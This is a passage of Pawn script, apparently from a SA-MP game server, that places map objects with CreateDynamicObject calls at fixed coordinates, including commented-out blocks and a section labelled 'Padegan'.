CreateDynamicObject(1664, 975, -1010.3, 49.5, 0, 0, 0);
CreateDynamicObject(1668, 974, -1010.2, 49.5, 0, 0, 0);
CreateDynamicObject(9833, 983.2, -1021.9, 45, 0, 0, 0);
CreateDynamicObject(2773, 1013.2, -1020.4, 31.6, 0, 0, 0);
CreateDynamicObject(2773, 1010.5, -1022.3, 31.6, 0, 0, 0);
CreateDynamicObject(2773, 1013.2, -1024.2, 31.6, 0, 0, 0);
CreateDynamicObject(2773, 1013.2, -1026.1, 31.6, 0, 0, 0);
CreateDynamicObject(2773, 1013.2, -1028, 31.6, 0, 0, 0);
CreateDynamicObject(2773, 1010.5, -1028, 31.6, 0, 0, 0);
CreateDynamicObject(2773, 1010.5, -1026.1, 31.6, 0, 0, 0);
CreateDynamicObject(2773, 1010.5, -1024.2, 31.6, 0, 0, 0);
CreateDynamicObject(2773, 1013.2, -1022.3, 31.6, 0, 0, 0);
CreateDynamicObject(2773, 1010.5, -1020.4, 31.6, 0, 0, 0);
CreateDynamicObject(984, 1031.4, -1056.1, 31.3, 0, 0, 0);
CreateDynamicObject(983, 1013.2, -1052.9, 31, 5.75, 0, 0);
CreateDynamicObject(983, 1013.2, -1059.3, 30.4, 4, 0, 0);
CreateDynamicObject(983, 1028.2, -1057.8, 31.2, 356.251, 1.503, 92.098);
CreateDynamicObject(983, 1016.4, -1058.8, 30.2, 0, 0, 90);
CreateDynamicObject(983, 1024.9, -1061.1, 30.3, 12, 0, 359.25);
CreateDynamicObject(983, 1024.9, -1065.8, 29.3, 13, 0, 0);
CreateDynamicObject(982, 1037.7, -1068.8, 28.5, 0, 350, 90.25);
CreateDynamicObject(984, 1050.6, -1070.2, 28.2, 7.5, 0.252, 0.217);
CreateDynamicObject(982, 1037.8, -1076.5, 27.4, 0, 7.75, 270);
CreateDynamicObject(982, 1012.1, -1076.5, 27.4, 0, 9, 270);
CreateDynamicObject(984, 999.1, -1070.1, 28.3, 8.249, 0.758, 1.891);
CreateDynamicObject(983, 1019.6, -1062.1, 29.7, 10.75, 0, 0);
CreateDynamicObject(983, 1019.6, -1065.3, 29.1, 10.745, 0, 0);
CreateDynamicObject(984, 1005.5, -1068.5, 28.5, 0, 0, 270);
CreateDynamicObject(984, 1013.2, -1068.5, 28.5, 0, 0.25, 270);
CreateDynamicObject(983, 1028.2, -1049.7, 31.3, 0, 0, 90);
CreateDynamicObject(983, 1021.7, -1049.6, 31.4, 0, 0, 90);
CreateDynamicObject(869, 1029.3, -1059.5, 31.1, 0, 0, 0);
CreateDynamicObject(869, 1027.4, -1059.5, 31, 0, 0, 0);
CreateDynamicObject(869, 1028, -1059.5, 31, 0, 0, 0);
CreateDynamicObject(869, 1028.9, -1059.5, 31, 0, 0, 0);
CreateDynamicObject(869, 1029.7, -1060.1, 31, 0, 0, 0);
CreateDynamicObject(869, 1027.2, -1060, 31, 0, 0, 256);
CreateDynamicObject(869, 1029.2, -1059.8, 31.1, 0, 0, 0);
CreateDynamicObject(19122, 1009.9229736328, -1029.1490478516, 42.631000518799, 0, 0, 0);
CreateDynamicObject(19122, 973.07501220703, -1029.4139404297, 42.569999694824, 0, 0, 0);
CreateDynamicObject(19122, 973.05902099609, -1012.1110229492, 42.359001159668, 0, 0, 0);
CreateDynamicObject(19122, 988.98297119141, -1012.0729980469, 42.359001159668, 0, 0, 0);
CreateDynamicObject(19122, 989.041015625, -995.53802490234, 42.374000549316, 0, 0, 0);
CreateDynamicObject(19122, 1008.5889892578, -1003.833984375, 42.359001159668, 0, 0, 0);
CreateDynamicObject(19122, 1010.2709960938, -1003.9110107422, 43.013999938965, 0, 0, 0);
CreateDynamicObject(19122, 1008.658996582, -1001.5949707031, 42.359001159668, 0, 0, 0);
CreateDynamicObject(19122, 1010.3090209961, -1001.6950073242, 43.007999420166, 0, 0, 0);
CreateDynamicObject(19122, 1034.3929443359, -1001.1719970703, 42.374000549316, 0, 0, 0);
CreateDynamicObject(19122, 1034.2960205078, -995.57299804688, 42.374000549316, 0, 0, 0);
CreateDynamicObject(19124, 992.23797607422, -1000.2420043945, 41.673999786377, 0, 0, 0);
CreateDynamicObject(19124, 990.39300537109, -998.51300048828, 41.648998260498, 0, 0, 0);
CreateDynamicObject(19124, 987.42602539063, -1002.958984375, 48.71900177002, 0, 0, 0);
CreateDynamicObject(19124, 987.47601318359, -1000.0739746094, 48.71900177002, 0, 0, 0);
CreateDynamicObject(19123, 988.44702148438, -1011.4860229492, 49.39400100708, 0, 0, 0);
CreateDynamicObject(19123, 973.13702392578, -1004.5859985352, 49.243999481201, 0, 0, 0);
CreateDynamicObject(19123, 976.44201660156, -995.49499511719, 49.26900100708, 0, 0, 0);
CreateDynamicObject(19123, 988.51000976563, -995.51800537109, 49.39400100708, 0, 0, 0);
CreateDynamicObject(19123, 991.53302001953, -1000.424987793, 50.193000793457, 0, 0, 0);
CreateDynamicObject(19127, 1018.3079833984, -1049.6169433594, 31.302000045776, 0, 0, 0);
CreateDynamicObject(19127, 1013.3259887695, -1049.6020507813, 31.181999206543, 0, 0, 0);
CreateDynamicObject(19127, 1013.3400268555, -1058.6190185547, 30.236000061035, 0, 0, 0);
CreateDynamicObject(19127, 1019.6779785156, -1058.6939697266, 30.218000411987, 0, 0, 0);
CreateDynamicObject(19127, 1024.9139404297, -1057.8570556641, 30.725999832153, 0, 0, 0);
CreateDynamicObject(19127, 1031.1800537109, -1057.4969482422, 31.256000518799, 0, 0, 0);
CreateDynamicObject(19127, 1031.2189941406, -1049.9100341797, 31.22200012207, 0, 0, 0);
CreateDynamicObject(19127, 1024.916015625, -1069.0300292969, 28.579000473022, 10.5, 0, 0);
CreateDynamicObject(19127, 1019.6640014648, -1068.5889892578, 28.347999572754, 0, 0, 0);
CreateDynamicObject(19127, 999.05603027344, -1068.6149902344, 28.391000747681, 0, 0, 0);
CreateDynamicObject(19127, 999.47198486328, -1076.2590332031, 27.190000534058, 8.5, 0, 0);
CreateDynamicObject(19127, 1022.4769897461, -1076.2099609375, 27.292999267578, 0, 0, 0);
CreateDynamicObject(19127, 1050.4489746094, -1069.0190429688, 28.812999725342, 7.5, 0, 0);
CreateDynamicObject(19127, 1050.376953125, -1076.3420410156, 27.690999984741, 6.5, 0, 0);
CreateDynamicObject(955, 973.31201171875, -996.15899658203, 49.205001831055, 0, 0, 90);

*/
//Baller = 999;
DestroyDynamicObject(Ball);
Ball = CreateDynamicObject(2114, 2782.3027,-2019.0826,13.5547-0.8, 0, 0, 96);

CreateDynamicObject(1557, 324.34299, -1515.73962, 34.99785,   0.00000, 0.00000, 51.36000);
CreateDynamicObject(1557, 326.18292, -1513.37219, 35.00244,   0.00000, 0.00000, -127.14001);

/*CreateDynamicObject(19355, 1491.04968, -1021.66870, 22.84230,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19355, 1433.59680, -1021.70117, 25.62686,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19355, 1433.59680, -1021.70117, 28.93128,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19355, 1433.59680, -1021.70117, 24.49947,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19355, 1436.71887, -1021.68237, 30.46470,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19355, 1439.81165, -1021.67450, 30.46470,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19355, 1442.98376, -1021.68011, 30.46470,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19355, 1446.18250, -1021.63617, 30.46470,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19355, 1474.08228, -1021.64532, 27.84326,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19355, 1476.77246, -1021.66888, 30.46470,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19355, 1479.66394, -1021.67365, 30.46470,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19355, 1482.76892, -1021.68066, 30.46470,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19355, 1485.89246, -1021.68054, 30.46470,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19355, 1489.00439, -1021.68817, 30.46470,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19355, 1491.10901, -1021.68384, 25.65756,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19355, 1436.78992, -1021.67120, 22.84233,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19355, 1439.61438, -1021.67426, 22.84233,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19355, 1442.79004, -1021.67426, 22.84233,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19355, 1445.97412, -1021.67426, 22.84233,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19355, 1448.91101, -1021.67426, 22.84233,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19355, 1451.34180, -1017.01166, 27.95095,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19355, 1474.08423, -1021.64203, 22.84233,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19355, 1477.08533, -1021.67908, 22.84230,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19355, 1480.28870, -1021.67706, 22.84230,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19355, 1483.42871, -1021.67163, 22.84230,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19355, 1486.47852, -1021.67139, 22.84230,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19355, 1489.51038, -1021.66290, 22.84230,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19355, 1449.15588, -1021.62891, 30.46470,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19355, 1449.77454, -1021.66083, 29.32911,   0.00000, 0.00000, 89.98000);
CreateDynamicObject(19355, 1449.79431, -1021.66071, 24.99150,   0.00000, 0.00000, 89.98000);
CreateDynamicObject(19355, 1449.77454, -1021.66083, 27.45540,   0.00000, 0.00000, 89.98000);
CreateDynamicObject(19325, 1486.37207, -1021.70758, 26.65779,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19325, 1438.68457, -1021.71069, 26.65779,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19325, 1445.01697, -1021.72687, 26.65779,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19355, 1491.57092, -1021.67279, 30.46470,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19355, 1491.11365, -1021.68280, 27.08897,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19355, 1472.47937, -1020.06409, 24.45472,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19355, 1474.09583, -1021.64642, 26.23357,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19325, 1478.73828, -1021.68329, 26.65779,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19325, 1485.32605, -1021.68817, 26.65779,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19355, 1452.18701, -1021.64258, 30.46470,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19355, 1455.28503, -1021.66187, 30.46470,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19355, 1458.25330, -1021.65576, 30.46470,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19355, 1461.30847, -1021.65009, 30.46470,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19355, 1464.42920, -1021.63885, 30.46470,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19355, 1467.56067, -1021.63885, 30.46470,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19355, 1470.52368, -1021.63635, 30.46470,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19355, 1451.35901, -1020.12939, 22.84230,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19355, 1451.35901, -1020.12939, 26.23206,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19355, 1451.35901, -1020.12939, 29.67674,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19355, 1451.35291, -1017.84601, 29.67674,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19355, 1451.38794, -1011.94366, 29.65426,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19355, 1451.35999, -1016.24573, 27.95095,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19355, 1451.34570, -1016.25116, 29.67674,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19355, 1451.38293, -1010.70111, 29.65426,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19355, 1451.38794, -1011.94366, 27.20710,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19355, 1451.38293, -1010.70111, 27.20710,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19355, 1473.59790, -1021.67816, 30.46470,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19355, 1472.47937, -1020.06409, 30.56876,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19355, 1472.66321, -1012.75146, 30.18824,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19355, 1472.47937, -1020.06409, 27.50791,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19355, 1472.70605, -1017.81793, 27.50791,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19355, 1472.70605, -1017.81793, 30.33223,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19355, 1472.70483, -1016.66296, 30.33223,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19355, 1472.70483, -1016.66296, 28.15114,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19355, 1472.65991, -1011.23651, 30.01992,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19355, 1472.66321, -1012.75146, 27.32257,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19355, 1472.65991, -1011.23651, 27.32257,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1571, 1449.10022, -1023.59454, 24.09382,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1257, 1485.48547, -1026.39600, 23.89981,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(1216, 1474.75757, -1022.86938, 23.50490,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1216, 1472.95020, -1022.90674, 23.50490,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1216, 1473.88635, -1022.94281, 23.50490,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1215, 1451.49658, -1022.29480, 23.26851,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1215, 1451.49854, -1023.44214, 23.26851,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1215, 1473.43311, -1028.50000, 23.26851,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1215, 1464.04504, -1028.53589, 23.16751,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1215, 1472.07593, -1022.38898, 23.26851,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1215, 1472.07129, -1023.49182, 23.26851,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1256, 1439.87061, -1022.77380, 23.43850,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(1256, 1443.59351, -1022.76178, 23.43850,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(970, 1428.60010, -1028.64453, 23.35480,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(6965, 1465.82239, -1027.10388, 25.37861,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(970, 1475.78735, -1028.59900, 23.35480,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(970, 1457.22754, -1028.62915, 23.35480,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1215, 1451.47632, -1024.53503, 23.26851,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1215, 1431.03162, -1028.53564, 23.16751,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1215, 1459.50293, -1028.53064, 23.16751,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(970, 1466.40662, -1028.65247, 23.35480,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(970, 1471.09326, -1028.66602, 23.35480,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1215, 1472.06372, -1024.76160, 23.26851,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1215, 1468.75183, -1028.58154, 23.26851,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2773, 1464.11938, -1026.98401, 23.34270,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2773, 1459.39673, -1026.85400, 23.34270,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(6965, 1457.68445, -1026.81262, 25.37861,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1884, 1462.01648, -1038.18445, 20.66600,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1884, 1461.88440, -1029.76709, 20.66600,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1884, 1461.88342, -1030.98145, 20.66600,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1884, 1461.90601, -1032.16150, 20.66600,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1884, 1461.91370, -1033.38245, 20.66600,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1884, 1461.90771, -1034.58386, 20.66600,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1884, 1461.96326, -1035.84399, 20.66600,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1884, 1462.00281, -1037.05701, 20.66600,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(970, 1452.68494, -1028.64160, 23.35480,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(970, 1447.96033, -1028.64600, 23.35480,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(970, 1443.14844, -1028.63159, 23.35480,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(970, 1438.31384, -1028.63379, 23.35480,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(970, 1433.52332, -1028.64282, 23.35480,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1215, 1454.91174, -1028.52783, 23.16751,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1215, 1450.30298, -1028.50476, 23.16751,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1215, 1445.51563, -1028.54565, 23.16751,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1215, 1440.70764, -1028.50659, 23.16751,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1215, 1435.88684, -1028.59570, 23.16751,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(5431, 10427.02051, 2040.59131, -3548.57349,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(4651, 1539.92188, -1087.30737, 22.78500,   0.00000, 0.00000, 360.00000);
CreateDynamicObject(19458, 1454.79431, -1021.54877, 27.25258,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19458, 1468.68787, -1021.61700, 28.16058,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19458, 1460.89832, -1021.56671, 27.82809,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19458, 1454.78845, -1021.56787, 23.26730,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19458, 1468.68787, -1021.61700, 23.26730,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19458, 1468.69690, -1021.61749, 26.58958,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19386, 1463.16199, -1021.65436, 24.65990,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19386, 1460.33936, -1021.63220, 24.65990,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(1491, 1462.36914, -1021.65509, 22.87150,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1491, 1459.56348, -1021.65698, 22.87150,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19458, 1454.78845, -1021.56787, 26.63737,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(1251, 1446.15186, -1047.29089, 22.82415,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1251, 1458.87817, -1047.27222, 22.82415,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1251, 1455.43066, -1047.27454, 22.82415,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1251, 1452.17236, -1047.26086, 22.82415,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1251, 1449.03564, -1047.30957, 22.82415,   0.00000, 0.00000, 0.00000);*/


// Padegan :
/*
CreateDynamicObject(19913, 1306.22717, 782.93921, 15.28436,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19913, 1256.28247, 782.84094, 15.28436,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19913, 1206.36353, 782.83099, 15.28436,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19913, 1156.63562, 782.70135, 15.28436,   0.00000, 0.00000, 0.18002);
CreateDynamicObject(19913, 1147.07300, 684.71277, 14.42302,   0.00000, 0.00000, 178.50006);
CreateDynamicObject(19913, 1328.02039, 758.18671, 15.28436,   0.00000, 0.00000, 82.68002);
CreateDynamicObject(19913, 1321.22632, 697.19379, 15.28436,   0.00000, 0.00000, 82.68002);
CreateDynamicObject(19913, 1293.51184, 668.57050, 11.47695,   0.00000, 0.00000, 9.00000);
CreateDynamicObject(19913, 1196.91138, 682.79791, 13.59210,   0.00000, 0.00000, -2.88000);
DarBazKon = CreateDynamicObject(19912, 1324.43726, 721.90240, 12.60365,   0.00000, 0.00000, -91.98001);
CreateDynamicObject(19912, 1324.43726, 721.90240, 18.10445,   0.00000, 0.00000, -91.98001);
CreateDynamicObject(3279, 1317.20288, 770.88452, 9.62363,   0.00000, 0.00000, -88.79999);
CreateDynamicObject(3279, 1093.39734, 760.30493, 9.62363,   0.00000, 0.00000, -88.79999);
CreateDynamicObject(3279, 1066.58411, 703.32892, 8.84986,   0.00000, 0.00000, -272.33981);
CreateDynamicObject(3279, 1301.66431, 684.66962, 8.84986,   0.00000, 0.00000, -272.33981);
CreateDynamicObject(3277, 1311.49463, 763.32117, 10.50257,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(3267, 1311.17969, 763.06451, 10.54029,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(3366, 1277.01282, 769.34448, 10.22751,   0.00000, 0.00000, -268.74002);
CreateDynamicObject(3366, 1247.22888, 768.54401, 10.22751,   0.00000, 0.00000, -268.74002);
CreateDynamicObject(3366, 1216.70300, 768.38098, 10.22751,   0.00000, 0.00000, -268.74002);
CreateDynamicObject(16093, 211.64844, 1810.15625, 20.73438,   356.85840, 0.00000, 3.14159);
CreateDynamicObject(16093, 211.64844, 1810.15625, 20.73438,   356.85840, 0.00000, 3.14159);
CreateDynamicObject(16093, 211.64844, 1810.15625, 20.73438,   356.85840, 0.00000, 3.14159);
CreateDynamicObject(16093, 211.64844, 1810.15625, 20.73438,   356.85840, 0.00000, 3.14159);
CreateDynamicObject(16093, 211.64844, 1810.15625, 20.73438,   356.85840, 0.00000, 3.14159);
CreateDynamicObject(16093, 211.64844, 1810.15625, 20.73438,   356.85840, 0.00000, 3.14159);
CreateDynamicObject(16093, 211.64844, 1810.15625, 20.73438,   356.85840, 0.00000, 3.14159);
CreateDynamicObject(16093, 211.64844, 1810.15625, 20.73438,   356.85840, 0.00000, 3.14159);
CreateDynamicObject(16093, 211.64844, 1810.15625, 20.73438,   356.85840, 0.00000, 3.14159);
CreateDynamicObject(16093, 1215.87073, 765.56897, 13.90114,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(16638, 1215.95081, 764.41418, 11.95649,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(16782, 1218.38098, 766.43982, 15.18418,   0.00000, 0.00000, -179.09985);
CreateDynamicObject(16774, 800.32813, 1672.12500, 5.87500,   356.85840, 0.00000, -1.57080);
CreateDynamicObject(16774, 800.32813, 1672.12500, 5.87500,   356.85840, 0.00000, -1.57080);
CreateDynamicObject(3366, 1303.07715, 749.71033, 10.22751,   0.00000, 0.00000, -305.22003);
CreateDynamicObject(3366, 1303.07715, 749.71033, 10.22751,   0.00000, 0.00000, -305.22003);
CreateDynamicObject(1800, 1315.09460, 747.53723, 9.79744,   0.00000, 0.00000, -37.74000);
CreateDynamicObject(1800, 1312.85522, 749.24823, 9.79744,   0.00000, 0.00000, -37.74000);
CreateDynamicObject(1800, 1310.88367, 750.70575, 9.79744,   0.00000, 0.00000, -37.74000);
CreateDynamicObject(1800, 1308.95789, 752.14496, 9.79744,   0.00000, 0.00000, -37.74000);
CreateDynamicObject(1800, 1307.00977, 753.61462, 9.79744,   0.00000, 0.00000, -37.74000);
CreateDynamicObject(1800, 1304.73047, 755.08398, 9.79744,   0.00000, 0.00000, -37.74000);
CreateDynamicObject(1800, 1302.47632, 756.80725, 9.79744,   0.00000, 0.00000, -37.74000);
CreateDynamicObject(1800, 1300.27747, 758.46912, 9.79744,   0.00000, 0.00000, -37.74000);
CreateDynamicObject(1800, 1298.09253, 760.14862, 9.79744,   0.00000, 0.00000, -37.80000);
CreateDynamicObject(1800, 1295.63708, 761.65527, 9.79744,   0.00000, 0.00000, -37.80000);
CreateDynamicObject(1800, 1291.48389, 756.04401, 9.79744,   0.00000, 0.00000, -37.80000);
CreateDynamicObject(1800, 1293.88367, 754.45282, 9.79744,   0.00000, 0.00000, -37.80000);
CreateDynamicObject(1800, 1295.87732, 752.73047, 9.79744,   0.00000, 0.00000, -37.80000);
CreateDynamicObject(1800, 1298.06885, 751.19476, 9.79744,   0.00000, 0.00000, -37.80000);
CreateDynamicObject(1800, 1300.09692, 749.60095, 9.79744,   0.00000, 0.00000, -37.80000);
CreateDynamicObject(1800, 1302.54822, 747.91687, 9.79744,   0.00000, 0.00000, -37.80000);
CreateDynamicObject(1800, 1308.13745, 743.57935, 9.79744,   0.00000, 0.00000, -38.04000);
CreateDynamicObject(1800, 1305.20044, 745.94849, 9.79744,   0.00000, 0.00000, -38.04000);
CreateDynamicObject(1800, 1311.32410, 740.88416, 9.79744,   0.00000, 0.00000, -38.46000);
CreateDynamicObject(19913, 1097.11145, 684.90509, 14.32543,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19913, 1245.41675, 673.12683, 10.63430,   0.00000, 0.00000, -19.73999);
CreateDynamicObject(19913, 1245.37646, 673.10718, 13.79209,   0.00000, 0.00000, -19.73999);
CreateDynamicObject(19913, 1293.51184, 668.57050, 13.88760,   0.00000, 0.00000, 9.00000);
CreateDynamicObject(19913, 1113.97656, 782.51538, 14.78053,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19913, 1051.57849, 698.84332, 14.19570,   0.00000, 0.00000, -34.08001);
CreateDynamicObject(19913, 1071.59680, 764.82867, 14.45026,   0.00000, 0.00000, 45.41999);
CreateDynamicObject(19913, 1053.03418, 722.08722, 14.65755,   0.00000, 0.00000, 87.60001);
CreateDynamicObject(3279, 1210.23877, 699.55609, 9.70144,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1215, 1303.53015, 683.08661, 25.42425,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1215, 1208.88220, 697.80377, 26.31152,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1215, 1065.45422, 702.11066, 25.36837,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1215, 1091.90576, 761.35596, 26.15170,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1215, 1318.49780, 772.35602, 26.18880,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1215, 1324.89612, 733.39172, 20.75199,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1215, 1324.45459, 721.92255, 21.16938,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1215, 1331.14465, 782.87860, 21.01208,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1215, 1260.98596, 782.82959, 21.13907,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1215, 1089.17517, 782.53937, 20.16111,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1215, 1054.08838, 746.98486, 20.38246,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1215, 1051.94104, 697.28998, 20.41808,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1215, 1072.25342, 684.87482, 19.97090,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1215, 1221.67603, 681.47211, 19.27318,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2000, 1318.21777, 672.27991, 20.21139,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1595, 1210.48962, 763.96796, 22.90430,   -4.98000, -9.30000, 4.32000);
CreateDynamicObject(3030, 1218.74255, 766.01678, 18.40550,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(986, 1237.08240, 679.78650, 6.99223,   0.00000, 0.00000, 34.50000);
CreateDynamicObject(986, 1244.35034, 681.32654, 7.02601,   0.00000, 0.00000, -10.56000);
CreateDynamicObject(986, 1246.95056, 676.82776, 7.05333,   0.00000, 0.00000, 70.61999);
CreateDynamicObject(18769, 1190.04138, 768.40277, 9.87288,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(18769, 1167.44019, 768.28992, 9.87288,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(986, 1230.82898, 681.68604, 6.99223,   0.00000, 0.00000, 34.50000);
CreateDynamicObject(986, 1237.83801, 685.32245, 7.02601,   0.00000, 0.00000, 19.80000);
CreateDynamicObject(986, 1245.47705, 685.94659, 7.02601,   0.00000, 0.00000, -10.92000);
CreateDynamicObject(986, 1253.24365, 684.82758, 7.02601,   0.00000, 0.00000, -4.68000);
CreateDynamicObject(986, 1255.55078, 680.84930, 7.02601,   0.00000, 0.00000, -113.28000);
CreateDynamicObject(986, 1252.42542, 673.59003, 7.02601,   0.00000, 0.00000, -113.28000);
CreateDynamicObject(986, 1249.26904, 666.11603, 7.02601,   0.00000, 0.00000, -113.28000);
CreateDynamicObject(986, 1244.02014, 664.10693, 7.02601,   0.00000, 0.00000, -204.65996);
